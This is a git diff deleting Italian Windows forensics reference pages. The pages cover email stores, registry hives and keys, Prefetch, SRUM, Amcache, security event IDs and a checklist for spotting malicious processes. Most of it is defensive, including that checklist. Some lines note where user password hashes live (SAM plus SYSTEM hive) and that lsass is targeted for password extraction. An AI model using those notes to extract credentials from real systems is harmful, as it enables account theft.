-![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) - -**Componenti e impostazioni chiave del compito:** - -- **pnpclean.dll**: Questo DLL è responsabile del processo di pulizia effettivo. -- **UseUnifiedSchedulingEngine**: Impostato su `TRUE`, indica l'uso del motore di pianificazione dei compiti generico. -- **MaintenanceSettings**: -- **Period ('P1M')**: Indica al Task Scheduler di avviare il compito di pulizia mensilmente durante la manutenzione automatica regolare. -- **Deadline ('P2M')**: Istruisce il Task Scheduler, se il compito fallisce per due mesi consecutivi, ad eseguire il compito durante la manutenzione automatica di emergenza. - -Questa configurazione garantisce una manutenzione e pulizia regolari dei driver, con disposizioni per riprovare il compito in caso di fallimenti consecutivi. - -**Per ulteriori informazioni controlla:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) - -## Email - -Le email contengono **2 parti interessanti: le intestazioni e il contenuto** dell'email. Nelle **intestazioni** puoi trovare informazioni come: - -- **Chi** ha inviato le email (indirizzo email, IP, server di posta che hanno reindirizzato l'email) -- **Quando** è stata inviata l'email - -Inoltre, all'interno delle intestazioni `References` e `In-Reply-To` puoi trovare l'ID dei messaggi: - -![](<../../../images/image (484).png>) - -### App di posta di Windows - -Questa applicazione salva le email in HTML o testo. Puoi trovare le email all'interno delle sottocartelle in `\Users\\AppData\Local\Comms\Unistore\data\3\`. Le email sono salvate con l'estensione `.dat`. - -I **metadati** delle email e i **contatti** possono essere trovati all'interno del **database EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` - -**Cambia l'estensione** del file da `.vol` a `.edb` e puoi utilizzare lo strumento [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) per aprirlo. All'interno della tabella `Message` puoi vedere le email. - -### Microsoft Outlook - -Quando vengono utilizzati server Exchange o client Outlook, ci saranno alcune intestazioni MAPI: - -- `Mapi-Client-Submit-Time`: Ora del sistema quando l'email è stata inviata -- `Mapi-Conversation-Index`: Numero di messaggi figli del thread e timestamp di ciascun messaggio del thread -- `Mapi-Entry-ID`: Identificatore del messaggio. -- `Mappi-Message-Flags` e `Pr_last_Verb-Executed`: Informazioni sul client MAPI (messaggio letto? non letto? risposto? reindirizzato? fuori ufficio?) - -Nel client Microsoft Outlook, tutti i messaggi inviati/ricevuti, i dati dei contatti e i dati del calendario sono memorizzati in un file PST in: - -- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) -- `%USERPROFILE%\AppData\Local\Microsoft\Outlook` - -Il percorso del registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica il file che viene utilizzato. - -Puoi aprire il file PST utilizzando lo strumento [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). - -![](<../../../images/image (485).png>) - -### File OST di Microsoft Outlook - -Un **file OST** viene generato da Microsoft Outlook quando è configurato con **IMAP** o un server **Exchange**, memorizzando informazioni simili a un file PST. Questo file è sincronizzato con il server, mantenendo i dati per **gli ultimi 12 mesi** fino a un **massimo di 50GB**, ed è situato nella stessa directory del file PST. Per visualizzare un file OST, può essere utilizzato il [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). - -### Recupero degli Allegati - -Allegati persi potrebbero essere recuperabili da: - -- Per **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- Per **IE11 e versioni superiori**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` - -### File MBOX di Thunderbird - -**Thunderbird** utilizza **file MBOX** per memorizzare i dati, situati in `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. - -### Miniature delle Immagini - -- **Windows XP e 8-8.1**: Accedere a una cartella con miniature genera un file `thumbs.db` che memorizza le anteprime delle immagini, anche dopo la cancellazione. -- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite una rete tramite percorso UNC. -- **Windows Vista e versioni successive**: Le anteprime delle miniature sono centralizzate in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con file denominati **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sono strumenti per visualizzare questi file. - -### Informazioni sul Registro di Windows - -Il Registro di Windows, che memorizza un'ampia gamma di dati sulle attività di sistema e utente, è contenuto all'interno di file in: - -- `%windir%\System32\Config` per varie sottochiavi `HKEY_LOCAL_MACHINE`. -- `%UserProfile%{User}\NTUSER.DAT` per `HKEY_CURRENT_USER`. -- Windows Vista e versioni successive eseguono il backup dei file di registro `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`. -- Inoltre, le informazioni sull'esecuzione dei programmi sono memorizzate in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partire da Windows Vista e Windows 2008 Server. - -### Strumenti - -Alcuni strumenti sono utili per analizzare i file di registro: - -- **Editor del Registro**: È installato in Windows. È un'interfaccia grafica per navigare attraverso il registro di Windows della sessione corrente. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Ti consente di caricare il file di registro e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano le chiavi con informazioni interessanti. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ancora, ha un'interfaccia grafica che consente di navigare attraverso il registro caricato e contiene anche plugin che evidenziano informazioni interessanti all'interno del registro caricato. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Un'altra applicazione GUI in grado di estrarre informazioni importanti dal registro caricato. - -### Recupero di Elementi Cancellati - -Quando una chiave viene eliminata, è contrassegnata come tale, ma finché lo spazio che occupa non è necessario, non verrà rimossa. Pertanto, utilizzando strumenti come **Registry Explorer** è possibile recuperare queste chiavi eliminate. - -### Ultimo Tempo di Scrittura - -Ogni Chiave-Valore contiene un **timestamp** che indica l'ultima volta che è stata modificata. - -### SAM - -Il file/hive **SAM** contiene gli **hash delle password degli utenti, dei gruppi e degli utenti** del sistema. - -In `SAM\Domains\Account\Users` puoi ottenere il nome utente, il RID, l'ultimo accesso, l'ultimo accesso fallito, il contatore di accesso, la politica delle password e quando è stato creato l'account. Per ottenere gli **hash** hai anche **bisogno** del file/hive **SYSTEM**. - -### Voci Interessanti nel Registro di Windows - -{{#ref}} -interesting-windows-registry-keys.md -{{#endref}} - -## Programmi Eseguiti - -### Processi Windows di Base - -In [questo post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puoi scoprire i processi Windows comuni per rilevare comportamenti sospetti. - -### APP Recenti di Windows - -All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` puoi trovare sottochiavi con informazioni sull'**applicazione eseguita**, **ultima volta** che è stata eseguita e **numero di volte** che è stata avviata. - -### BAM (Moderatore di Attività in Background) - -Puoi aprire il file `SYSTEM` con un editor di registro e all'interno del percorso `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puoi trovare informazioni sulle **applicazioni eseguite da ciascun utente** (nota il `{SID}` nel percorso) e **a che ora** sono state eseguite (l'ora è all'interno del valore Data del registro). - -### Prefetch di Windows - -Il prefetching è una tecnica che consente a un computer di **recuperare silenziosamente le risorse necessarie per visualizzare contenuti** a cui un utente **potrebbe accedere nel prossimo futuro** in modo che le risorse possano essere accessibili più rapidamente. - -Il prefetch di Windows consiste nel creare **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` all'interno del percorso: `C:\Windows\Prefetch`. C'è un limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10. - -Il nome del file è creato come `{program_name}-{hash}.pf` (l'hash è basato sul percorso e sugli argomenti dell'eseguibile). In W10 questi file sono compressi. Nota che la sola presenza del file indica che **il programma è stato eseguito** a un certo punto. - -Il file `C:\Windows\Prefetch\Layout.ini` contiene i **nomi delle cartelle dei file che sono stati prelevati**. Questo file contiene **informazioni sul numero delle esecuzioni**, **date** di esecuzione e **file** **aperti** dal programma. - -Per ispezionare questi file puoi utilizzare lo strumento [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): -```bash -.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" -``` -![](<../../../images/image (487).png>) - -### Superprefetch - -**Superprefetch** ha lo stesso obiettivo del prefetch, **caricare i programmi più velocemente** prevedendo cosa verrà caricato successivamente. Tuttavia, non sostituisce il servizio di prefetch.\ -Questo servizio genererà file di database in `C:\Windows\Prefetch\Ag*.db`. - -In questi database puoi trovare il **nome** del **programma**, il **numero** di **esecuzioni**, i **file** **aperti**, il **volume** **accessed**, il **percorso** **completo**, i **tempi** e i **timestamp**. - -Puoi accedere a queste informazioni utilizzando lo strumento [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). - -### SRUM - -**System Resource Usage Monitor** (SRUM) **monitora** le **risorse** **consumate** **da un processo**. È apparso in W8 e memorizza i dati in un database ESE situato in `C:\Windows\System32\sru\SRUDB.dat`. - -Fornisce le seguenti informazioni: - -- AppID e Percorso -- Utente che ha eseguito il processo -- Byte inviati -- Byte ricevuti -- Interfaccia di rete -- Durata della connessione -- Durata del processo - -Queste informazioni vengono aggiornate ogni 60 minuti. - -Puoi ottenere la data da questo file utilizzando lo strumento [**srum_dump**](https://github.com/MarkBaggett/srum-dump). -```bash -.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum -``` -### AppCompatCache (ShimCache) - -Il **AppCompatCache**, noto anche come **ShimCache**, fa parte del **Database di Compatibilità delle Applicazioni** sviluppato da **Microsoft** per affrontare i problemi di compatibilità delle applicazioni. Questo componente di sistema registra vari pezzi di metadati dei file, che includono: - -- Percorso completo del file -- Dimensione del file -- Ultima data di modifica sotto **$Standard_Information** (SI) -- Ultima data di aggiornamento del ShimCache -- Flag di esecuzione del processo - -Tali dati sono memorizzati nel registro in posizioni specifiche in base alla versione del sistema operativo: - -- Per XP, i dati sono memorizzati sotto `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacità di 96 voci. -- Per Server 2003, così come per le versioni di Windows 2008, 2012, 2016, 7, 8 e 10, il percorso di archiviazione è `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, che accoglie rispettivamente 512 e 1024 voci. - -Per analizzare le informazioni memorizzate, si consiglia di utilizzare lo strumento [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). - -![](<../../../images/image (488).png>) - -### Amcache - -Il file **Amcache.hve** è essenzialmente un hive del registro che registra dettagli sulle applicazioni che sono state eseguite su un sistema. Si trova tipicamente in `C:\Windows\AppCompat\Programas\Amcache.hve`. - -Questo file è notevole per memorizzare registrazioni dei processi eseguiti di recente, inclusi i percorsi ai file eseguibili e i loro hash SHA1. Queste informazioni sono preziose per tracciare l'attività delle applicazioni su un sistema. - -Per estrarre e analizzare i dati da **Amcache.hve**, si può utilizzare lo strumento [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Il seguente comando è un esempio di come utilizzare AmcacheParser per analizzare i contenuti del file **Amcache.hve** e restituire i risultati in formato CSV: -```bash -AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder -``` -Tra i file CSV generati, il `Amcache_Unassociated file entries` è particolarmente degno di nota per le ricche informazioni che fornisce sulle voci di file non associate. - -Il file CVS più interessante generato è il `Amcache_Unassociated file entries`. - -### RecentFileCache - -Questo artefatto può essere trovato solo in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` e contiene informazioni sull'esecuzione recente di alcuni binari. - -Puoi utilizzare lo strumento [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) per analizzare il file. - -### Scheduled tasks - -Puoi estrarli da `C:\Windows\Tasks` o `C:\Windows\System32\Tasks` e leggerli come XML. - -### Services - -Puoi trovarli nel registro sotto `SYSTEM\ControlSet001\Services`. Puoi vedere cosa verrà eseguito e quando. - -### **Windows Store** - -Le applicazioni installate possono essere trovate in `\ProgramData\Microsoft\Windows\AppRepository\`\ -Questo repository ha un **log** con **ogni applicazione installata** nel sistema all'interno del database **`StateRepository-Machine.srd`**. - -All'interno della tabella Applicazione di questo database, è possibile trovare le colonne: "Application ID", "PackageNumber" e "Display Name". Queste colonne contengono informazioni sulle applicazioni pre-installate e installate e possono indicare se alcune applicazioni sono state disinstallate, poiché gli ID delle applicazioni installate dovrebbero essere sequenziali. - -È anche possibile **trovare applicazioni installate** all'interno del percorso del registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -E **applicazioni disinstallate** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` - -## Windows Events - -Le informazioni che appaiono all'interno degli eventi di Windows sono: - -- Cosa è successo -- Timestamp (UTC + 0) -- Utenti coinvolti -- Host coinvolti (hostname, IP) -- Risorse accessibili (file, cartella, stampante, servizi) - -I log si trovano in `C:\Windows\System32\config` prima di Windows Vista e in `C:\Windows\System32\winevt\Logs` dopo Windows Vista. Prima di Windows Vista, i log degli eventi erano in formato binario e dopo sono in **formato XML** e utilizzano l'estensione **.evtx**. - -La posizione dei file di evento può essere trovata nel registro SYSTEM in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** - -Possono essere visualizzati dal Visualizzatore eventi di Windows (**`eventvwr.msc`**) o con altri strumenti come [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** - -## Understanding Windows Security Event Logging - -Gli eventi di accesso sono registrati nel file di configurazione della sicurezza situato in `C:\Windows\System32\winevt\Security.evtx`. La dimensione di questo file è regolabile e, quando la sua capacità è raggiunta, gli eventi più vecchi vengono sovrascritti. Gli eventi registrati includono accessi e disconnessioni degli utenti, azioni degli utenti e modifiche alle impostazioni di sicurezza, nonché accessi a file, cartelle e risorse condivise. - -### Key Event IDs for User Authentication: - -- **EventID 4624**: Indica che un utente si è autenticato con successo. -- **EventID 4625**: Segnala un fallimento di autenticazione. -- **EventIDs 4634/4647**: Rappresentano eventi di disconnessione dell'utente. -- **EventID 4672**: Denota accesso con privilegi amministrativi. - -#### Sub-types within EventID 4634/4647: - -- **Interactive (2)**: Accesso diretto dell'utente. -- **Network (3)**: Accesso a cartelle condivise. -- **Batch (4)**: Esecuzione di processi batch. -- **Service (5)**: Avvii di servizi. -- **Proxy (6)**: Autenticazione proxy. -- **Unlock (7)**: Schermo sbloccato con una password. -- **Network Cleartext (8)**: Trasmissione di password in chiaro, spesso da IIS. -- **New Credentials (9)**: Utilizzo di credenziali diverse per l'accesso. -- **Remote Interactive (10)**: Accesso remoto tramite desktop o servizi terminali. -- **Cache Interactive (11)**: Accesso con credenziali memorizzate senza contatto con il controller di dominio. -- **Cache Remote Interactive (12)**: Accesso remoto con credenziali memorizzate. -- **Cached Unlock (13)**: Sblocco con credenziali memorizzate. - -#### Status and Sub Status Codes for EventID 4625: - -- **0xC0000064**: Il nome utente non esiste - Potrebbe indicare un attacco di enumerazione degli username. -- **0xC000006A**: Nome utente corretto ma password errata - Possibile tentativo di indovinare la password o attacco brute-force. -- **0xC0000234**: Account utente bloccato - Può seguire un attacco brute-force che ha portato a più accessi falliti. -- **0xC0000072**: Account disabilitato - Tentativi non autorizzati di accedere a account disabilitati. -- **0xC000006F**: Accesso al di fuori dell'orario consentito - Indica tentativi di accesso al di fuori delle ore di accesso impostate, un possibile segno di accesso non autorizzato. -- **0xC0000070**: Violazione delle restrizioni della workstation - Potrebbe essere un tentativo di accesso da una posizione non autorizzata. -- **0xC0000193**: Scadenza dell'account - Tentativi di accesso con account utente scaduti. -- **0xC0000071**: Password scaduta - Tentativi di accesso con password obsolete. -- **0xC0000133**: Problemi di sincronizzazione dell'orario - Grandi discrepanze di tempo tra client e server possono indicare attacchi più sofisticati come pass-the-ticket. -- **0xC0000224**: Cambio di password obbligatorio richiesto - Cambiamenti obbligatori frequenti potrebbero suggerire un tentativo di destabilizzare la sicurezza dell'account. -- **0xC0000225**: Indica un bug di sistema piuttosto che un problema di sicurezza. -- **0xC000015b**: Tipo di accesso negato - Tentativo di accesso con tipo di accesso non autorizzato, come un utente che cerca di eseguire un accesso di servizio. - -#### EventID 4616: - -- **Time Change**: Modifica dell'orario di sistema, potrebbe offuscare la cronologia degli eventi. - -#### EventID 6005 e 6006: - -- **System Startup and Shutdown**: L'EventID 6005 indica l'avvio del sistema, mentre l'EventID 6006 segna lo spegnimento. - -#### EventID 1102: - -- **Log Deletion**: Cancellazione dei log di sicurezza, che è spesso un campanello d'allarme per coprire attività illecite. - -#### EventIDs for USB Device Tracking: - -- **20001 / 20003 / 10000**: Prima connessione del dispositivo USB. -- **10100**: Aggiornamento del driver USB. -- **EventID 112**: Orario di inserimento del dispositivo USB. - -Per esempi pratici su come simulare questi tipi di accesso e opportunità di dumping delle credenziali, fai riferimento alla [guida dettagliata di Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). - -I dettagli degli eventi, inclusi i codici di stato e sottostato, forniscono ulteriori informazioni sulle cause degli eventi, particolarmente notevoli nell'Event ID 4625. - -### Recovering Windows Events - -Per aumentare le possibilità di recuperare eventi di Windows eliminati, è consigliabile spegnere il computer sospetto scollegandolo direttamente. **Bulk_extractor**, uno strumento di recupero che specifica l'estensione `.evtx`, è raccomandato per tentare di recuperare tali eventi. - -### Identifying Common Attacks via Windows Events - -Per una guida completa sull'utilizzo degli ID eventi di Windows per identificare attacchi informatici comuni, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/). - -#### Brute Force Attacks - -Identificabili da più registrazioni di EventID 4625, seguite da un EventID 4624 se l'attacco ha successo. - -#### Time Change - -Registrato da EventID 4616, i cambiamenti all'orario di sistema possono complicare l'analisi forense. - -#### USB Device Tracking - -Gli ID eventi di sistema utili per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per aggiornamenti dei driver e EventID 112 da DeviceSetupManager per i timestamp di inserimento. - -#### System Power Events - -L'EventID 6005 indica l'avvio del sistema, mentre l'EventID 6006 segna lo spegnimento. - -#### Log Deletion - -L'EventID di sicurezza 1102 segnala la cancellazione dei log, un evento critico per l'analisi forense. - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md deleted file mode 100644 index f9d6fe8fa..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ /dev/null @@ -1,101 +0,0 @@ -# Chiavi di Registro di Windows Interessanti - -### Chiavi di Registro di Windows Interessanti - -{{#include ../../../banners/hacktricks-training.md}} - -### **Informazioni sulla Versione di Windows e Proprietario** - -- Situato in **`Software\Microsoft\Windows NT\CurrentVersion`**, troverai la versione di Windows, il Service Pack, l'orario di installazione e il nome del proprietario registrato in modo chiaro. - -### **Nome del Computer** - -- Il nome host si trova sotto **`System\ControlSet001\Control\ComputerName\ComputerName`**. - -### **Impostazione del Fuso Orario** - -- Il fuso orario del sistema è memorizzato in **`System\ControlSet001\Control\TimeZoneInformation`**. - -### **Tracciamento del Tempo di Accesso** - -- Per impostazione predefinita, il tracciamento dell'ultimo accesso è disattivato (**`NtfsDisableLastAccessUpdate=1`**). Per abilitarlo, usa: -`fsutil behavior set disablelastaccess 0` - -### Versioni di Windows e Service Pack - -- La **versione di Windows** indica l'edizione (ad es., Home, Pro) e la sua release (ad es., Windows 10, Windows 11), mentre i **Service Pack** sono aggiornamenti che includono correzioni e, a volte, nuove funzionalità. - -### Abilitazione del Tempo di Ultimo Accesso - -- Abilitare il tracciamento dell'ultimo accesso consente di vedere quando i file sono stati aperti per l'ultima volta, il che può essere fondamentale per l'analisi forense o il monitoraggio del sistema. - -### Dettagli sulle Informazioni di Rete - -- Il registro contiene dati estesi sulle configurazioni di rete, inclusi **tipi di reti (wireless, cavo, 3G)** e **categorie di rete (Pubblica, Privata/Casa, Dominio/Lavoro)**, che sono vitali per comprendere le impostazioni di sicurezza della rete e le autorizzazioni. - -### Caching Lato Client (CSC) - -- **CSC** migliora l'accesso ai file offline memorizzando copie di file condivisi. Diverse impostazioni di **CSCFlags** controllano come e quali file vengono memorizzati nella cache, influenzando le prestazioni e l'esperienza dell'utente, specialmente in ambienti con connettività intermittente. - -### Programmi di Avvio Automatico - -- I programmi elencati in varie chiavi di registro `Run` e `RunOnce` vengono avviati automaticamente all'avvio, influenzando il tempo di avvio del sistema e potenzialmente essendo punti di interesse per identificare malware o software indesiderato. - -### Shellbags - -- **Shellbags** non solo memorizzano le preferenze per le visualizzazioni delle cartelle, ma forniscono anche prove forensi di accesso alle cartelle anche se la cartella non esiste più. Sono inestimabili per le indagini, rivelando l'attività dell'utente che non è ovvia attraverso altri mezzi. - -### Informazioni e Forense USB - -- I dettagli memorizzati nel registro sui dispositivi USB possono aiutare a tracciare quali dispositivi sono stati collegati a un computer, potenzialmente collegando un dispositivo a trasferimenti di file sensibili o incidenti di accesso non autorizzato. - -### Numero di Serie del Volume - -- Il **Numero di Serie del Volume** può essere cruciale per tracciare l'istanza specifica di un file system, utile in scenari forensi in cui è necessario stabilire l'origine del file su diversi dispositivi. - -### **Dettagli di Spegnimento** - -- L'orario di spegnimento e il conteggio (quest'ultimo solo per XP) sono conservati in **`System\ControlSet001\Control\Windows`** e **`System\ControlSet001\Control\Watchdog\Display`**. - -### **Configurazione di Rete** - -- Per informazioni dettagliate sull'interfaccia di rete, fare riferimento a **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- I tempi di connessione di rete, inclusi i collegamenti VPN, sono registrati sotto vari percorsi in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. - -### **Cartelle Condivise** - -- Le cartelle condivise e le impostazioni si trovano sotto **`System\ControlSet001\Services\lanmanserver\Shares`**. Le impostazioni di Caching Lato Client (CSC) determinano la disponibilità dei file offline. - -### **Programmi che Si Avviano Automaticamente** - -- Percorsi come **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** e voci simili sotto `Software\Microsoft\Windows\CurrentVersion` dettagliano i programmi impostati per essere eseguiti all'avvio. - -### **Ricerche e Percorsi Digitati** - -- Le ricerche di Explorer e i percorsi digitati sono tracciati nel registro sotto **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** per WordwheelQuery e TypedPaths, rispettivamente. - -### **Documenti Recenti e File di Office** - -- I documenti recenti e i file di Office accessibili sono annotati in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` e percorsi specifici della versione di Office. - -### **Elementi Usati di Recente (MRU)** - -- Le liste MRU, che indicano i percorsi e i comandi dei file recenti, sono memorizzate in varie sottochiavi `ComDlg32` e `Explorer` sotto `NTUSER.DAT`. - -### **Tracciamento dell'Attività dell'Utente** - -- La funzione User Assist registra statistiche dettagliate sull'uso delle applicazioni, inclusi il conteggio delle esecuzioni e l'ora dell'ultima esecuzione, in **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. - -### **Analisi delle Shellbags** - -- Le Shellbags, che rivelano dettagli sull'accesso alle cartelle, sono memorizzate in `USRCLASS.DAT` e `NTUSER.DAT` sotto `Software\Microsoft\Windows\Shell`. Usa **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** per l'analisi. - -### **Storia dei Dispositivi USB** - -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** e **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contengono dettagli ricchi sui dispositivi USB collegati, inclusi produttore, nome del prodotto e timestamp di connessione. -- L'utente associato a un dispositivo USB specifico può essere individuato cercando nei registri `NTUSER.DAT` per il **{GUID}** del dispositivo. -- L'ultimo dispositivo montato e il suo numero di serie del volume possono essere tracciati attraverso `System\MountedDevices` e `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, rispettivamente. - -Questa guida riassume i percorsi e i metodi cruciali per accedere a informazioni dettagliate su sistema, rete e attività dell'utente sui sistemi Windows, puntando alla chiarezza e all'usabilità. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md deleted file mode 100644 index 90028fdfb..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ /dev/null @@ -1,106 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -## smss.exe - -**Session Manager**.\ -La Sessione 0 avvia **csrss.exe** e **wininit.exe** (**servizi** **OS**) mentre la Sessione 1 avvia **csrss.exe** e **winlogon.exe** (**sessione** **utente**). Tuttavia, dovresti vedere **solo un processo** di quel **binario** senza figli nell'albero dei processi. - -Inoltre, sessioni diverse da 0 e 1 possono significare che si stanno verificando sessioni RDP. - -## csrss.exe - -**Client/Server Run Subsystem Process**.\ -Gestisce **processi** e **thread**, rende disponibile l'**API** **Windows** per altri processi e mappa anche le **lettere di unità**, crea **file temporanei** e gestisce il **processo** di **spegnimento**. - -Ce n'è uno **in esecuzione nella Sessione 0 e un altro nella Sessione 1** (quindi **2 processi** nell'albero dei processi). Un altro viene creato **per ogni nuova Sessione**. - -## winlogon.exe - -**Windows Logon Process**.\ -È responsabile per il **logon**/**logoff** dell'utente. Avvia **logonui.exe** per chiedere nome utente e password e poi chiama **lsass.exe** per verificarli. - -Poi avvia **userinit.exe** che è specificato in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** con la chiave **Userinit**. - -Inoltre, il registro precedente dovrebbe avere **explorer.exe** nella chiave **Shell** o potrebbe essere abusato come **metodo di persistenza del malware**. - -## wininit.exe - -**Windows Initialization Process**. \ -Avvia **services.exe**, **lsass.exe** e **lsm.exe** nella Sessione 0. Dovrebbe esserci solo 1 processo. - -## userinit.exe - -**Userinit Logon Application**.\ -Carica il **ntduser.dat in HKCU** e inizializza l'**ambiente** **utente** e esegue **script di logon** e **GPO**. - -Avvia **explorer.exe**. - -## lsm.exe - -**Local Session Manager**.\ -Lavora con smss.exe per manipolare le sessioni utente: logon/logoff, avvio della shell, blocco/sblocco del desktop, ecc. - -Dopo W7, lsm.exe è stato trasformato in un servizio (lsm.dll). - -Dovrebbe esserci solo 1 processo in W7 e da esso un servizio che esegue la DLL. - -## services.exe - -**Service Control Manager**.\ -Carica i **servizi** configurati come **auto-avvio** e **driver**. - -È il processo padre di **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** e molti altri. - -I servizi sono definiti in `HKLM\SYSTEM\CurrentControlSet\Services` e questo processo mantiene un DB in memoria delle informazioni sui servizi che possono essere interrogate da sc.exe. - -Nota come **alcuni** **servizi** verranno eseguiti in un **processo proprio** e altri condivideranno un processo svchost.exe. - -Dovrebbe esserci solo 1 processo. - -## lsass.exe - -**Local Security Authority Subsystem**.\ -È responsabile per l'**autenticazione** dell'utente e crea i **token** di **sicurezza**. Utilizza pacchetti di autenticazione situati in `HKLM\System\CurrentControlSet\Control\Lsa`. - -Scrive nel **registro** **eventi** **di sicurezza** e dovrebbe esserci solo 1 processo. - -Tieni presente che questo processo è altamente attaccato per estrarre password. - -## svchost.exe - -**Generic Service Host Process**.\ -Ospita più servizi DLL in un processo condiviso. - -Di solito, troverai che **svchost.exe** viene avviato con il flag `-k`. Questo avvierà una query al registro **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** dove ci sarà una chiave con l'argomento menzionato in -k che conterrà i servizi da avviare nello stesso processo. - -Ad esempio: `-k UnistackSvcGroup` avvierà: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` - -Se il **flag `-s`** viene utilizzato anche con un argomento, allora svchost viene chiesto di **avviare solo il servizio specificato** in questo argomento. - -Ci saranno diversi processi di `svchost.exe`. Se uno di essi **non utilizza il flag `-k`**, allora è molto sospetto. Se scopri che **services.exe non è il padre**, è anche molto sospetto. - -## taskhost.exe - -Questo processo funge da host per i processi in esecuzione da DLL. Carica anche i servizi che vengono eseguiti da DLL. - -In W8 questo è chiamato taskhostex.exe e in W10 taskhostw.exe. - -## explorer.exe - -Questo è il processo responsabile per il **desktop dell'utente** e per l'apertura di file tramite estensioni di file. - -**Solo 1** processo dovrebbe essere generato **per ogni utente connesso.** - -Questo viene eseguito da **userinit.exe** che dovrebbe essere terminato, quindi **nessun padre** dovrebbe apparire per questo processo. - -# Catturare Processi Maligni - -- Sta girando dal percorso previsto? (Nessun binario Windows gira da una posizione temporanea) -- Sta comunicando con IP strani? -- Controlla le firme digitali (gli artefatti Microsoft dovrebbero essere firmati) -- È scritto correttamente? -- Sta girando sotto il SID previsto? -- È il processo padre quello previsto (se presente)? -- I processi figli sono quelli attesi? (niente cmd.exe, wscript.exe, powershell.exe..?) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index 6f604f714..8166596f8 100644 --- 